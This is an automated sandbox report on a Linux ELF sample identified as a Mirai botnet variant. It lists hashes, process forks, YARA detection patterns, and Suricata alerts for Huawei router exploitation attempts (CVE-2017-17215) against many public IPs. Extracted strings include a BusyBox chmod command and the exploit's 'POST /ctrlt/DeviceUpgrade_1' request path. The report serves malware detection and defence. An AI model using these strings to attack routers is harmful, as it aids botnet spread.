Edit tour

Linux Analysis Report
nullnet_load.i686.elf

Overview

General Information

Sample name:	nullnet_load.i686.elf
Analysis ID:	1547991
MD5:	f0ff93dfdac1e494b6949986ed6c6312
SHA1:	fd026d9bb81efa6e10dc24d77e4043f7869159e7
SHA256:	cf31293241ec621ee0a248bb26ef60bfa3e77c892ad41ee4463c368867a2990f
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547991
Start date and time:	2024-11-03 15:36:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nullnet_load.i686.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/0@48/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: nullnet_load.i686.elf

Runtime Messages

Command:	/tmp/nullnet_load.i686.elf
PID:	5513
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	..:: Nullnet Network ::..
Standard Error:

Process Tree

system is lnxubuntu20

nullnet_load.i686.elf (PID: 5513, Parent: 5434, MD5: f0ff93dfdac1e494b6949986ed6c6312) Arguments: /tmp/nullnet_load.i686.elf

nullnet_load.i686.elf New Fork (PID: 5514, Parent: 5513)

nullnet_load.i686.elf New Fork (PID: 5515, Parent: 5513)

nullnet_load.i686.elf New Fork (PID: 5516, Parent: 5515)

nullnet_load.i686.elf New Fork (PID: 5517, Parent: 5515)

nullnet_load.i686.elf New Fork (PID: 5518, Parent: 5515)

nullnet_load.i686.elf New Fork (PID: 5519, Parent: 5515)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
nullnet_load.i686.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
nullnet_load.i686.elf	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x74ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
nullnet_load.i686.elf	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x74a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
nullnet_load.i686.elf	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xec7d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xecfd:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
nullnet_load.i686.elf	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
nullnet_load.i686.elf	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
nullnet_load.i686.elf	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x136a2:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
nullnet_load.i686.elf	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2a22:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2a82:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
nullnet_load.i686.elf	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xad02:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
nullnet_load.i686.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x10332:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
nullnet_load.i686.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10e54:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
nullnet_load.i686.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13458:$x2: /bin/busybox chmod 777 * /tmp/ 0x131a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5516.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x74ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x74a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xec7d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xecfd:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x136a2:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2a22:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2a82:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xad02:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x10332:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5516.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10e54:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5516.1.0000000008048000.000000000805d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13458:$x2: /bin/busybox chmod 777 * /tmp/ 0x131a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5513.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x74ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x74a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xec7d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xecfd:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x136a2:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2a22:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2a82:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xad02:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x10332:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5513.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10e54:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5513.1.0000000008048000.000000000805d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13458:$x2: /bin/busybox chmod 777 * /tmp/ 0x131a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5514.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x74ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x74a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xec7d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xecfd:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x136a2:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2a22:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2a82:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xad02:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x10332:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5514.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10e54:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5514.1.0000000008048000.000000000805d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13458:$x2: /bin/busybox chmod 777 * /tmp/ 0x131a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: nullnet_load.i686.elf PID: 5513	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: nullnet_load.i686.elf PID: 5514	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: nullnet_load.i686.elf PID: 5516	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 34 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-03T15:37:19.163139+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56664	41.1.26.153	37215	TCP
2024-11-03T15:37:19.206602+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52260	197.170.70.85	37215	TCP
2024-11-03T15:37:20.180584+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50894	197.213.145.152	37215	TCP
2024-11-03T15:37:20.228528+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56556	156.43.89.130	37215	TCP
2024-11-03T15:37:21.223982+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38276	156.245.81.105	37215	TCP
2024-11-03T15:37:21.241842+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34264	197.163.58.45	37215	TCP
2024-11-03T15:37:21.261079+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43074	41.155.208.66	37215	TCP
2024-11-03T15:37:21.287260+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59694	41.89.33.112	37215	TCP
2024-11-03T15:37:24.077789+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48946	197.144.190.215	37215	TCP
2024-11-03T15:37:24.090647+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42672	197.168.207.218	37215	TCP
2024-11-03T15:37:26.097730+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47912	197.16.70.251	37215	TCP
2024-11-03T15:37:26.099982+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51862	156.97.250.9	37215	TCP
2024-11-03T15:37:26.107369+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51816	197.224.117.44	37215	TCP
2024-11-03T15:37:26.110104+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39952	197.90.159.24	37215	TCP
2024-11-03T15:37:26.123003+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40914	197.188.33.13	37215	TCP
2024-11-03T15:37:26.128032+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54480	41.247.170.119	37215	TCP
2024-11-03T15:37:26.135432+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56290	156.112.101.146	37215	TCP
2024-11-03T15:37:26.135435+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42402	41.161.10.54	37215	TCP
2024-11-03T15:37:28.136954+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44784	156.166.164.0	37215	TCP
2024-11-03T15:37:28.155320+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39338	41.104.134.176	37215	TCP
2024-11-03T15:37:28.218578+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42528	156.224.31.241	37215	TCP
2024-11-03T15:37:30.271793+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39920	156.8.251.171	37215	TCP
2024-11-03T15:37:31.236726+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38392	41.164.143.38	37215	TCP
2024-11-03T15:37:33.236398+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36308	197.248.4.148	37215	TCP
2024-11-03T15:37:33.244668+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37008	156.184.248.133	37215	TCP
2024-11-03T15:37:33.252378+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48490	41.121.176.100	37215	TCP
2024-11-03T15:37:36.611305+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53162	197.146.19.64	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nullnet_load.i686.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: nullnet_load.i686.elf

ReversingLabs: Detection: 71%

Machine Learning detection for sample

Source: nullnet_load.i686.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56664 -> 41.1.26.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52260 -> 197.170.70.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50894 -> 197.213.145.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56556 -> 156.43.89.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38276 -> 156.245.81.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34264 -> 197.163.58.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43074 -> 41.155.208.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59694 -> 41.89.33.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48946 -> 197.144.190.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42672 -> 197.168.207.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51862 -> 156.97.250.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47912 -> 197.16.70.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40914 -> 197.188.33.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51816 -> 197.224.117.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56290 -> 156.112.101.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42402 -> 41.161.10.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54480 -> 41.247.170.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39952 -> 197.90.159.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44784 -> 156.166.164.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39338 -> 41.104.134.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42528 -> 156.224.31.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39920 -> 156.8.251.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38392 -> 41.164.143.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37008 -> 156.184.248.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36308 -> 197.248.4.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48490 -> 41.121.176.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53162 -> 197.146.19.64:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.52.246.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.134.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.96.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.109.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.196.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.155.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.31.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.236.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.63.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.71.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.66.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.89.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.133.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.211.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.26.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.154.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.61.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.204.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.129.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.3.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.2.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.3.68.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.36.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.29.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.30.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.213.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.127.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.150.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.133.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.109.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.191.179.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.15.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.123.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.183.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.187.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.161.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.30.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.53.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.219.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.156.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.175.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.153.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.203.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.130.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.250.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.171.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.191.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.134.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.112.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.202.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.164.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.50.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.194.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.82.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.81.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.90.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.59.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.153.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.208.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.192.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.138.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.22.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.76.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.138.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.49.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.33.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.238.60 ports 1,2,3,5,7,37215
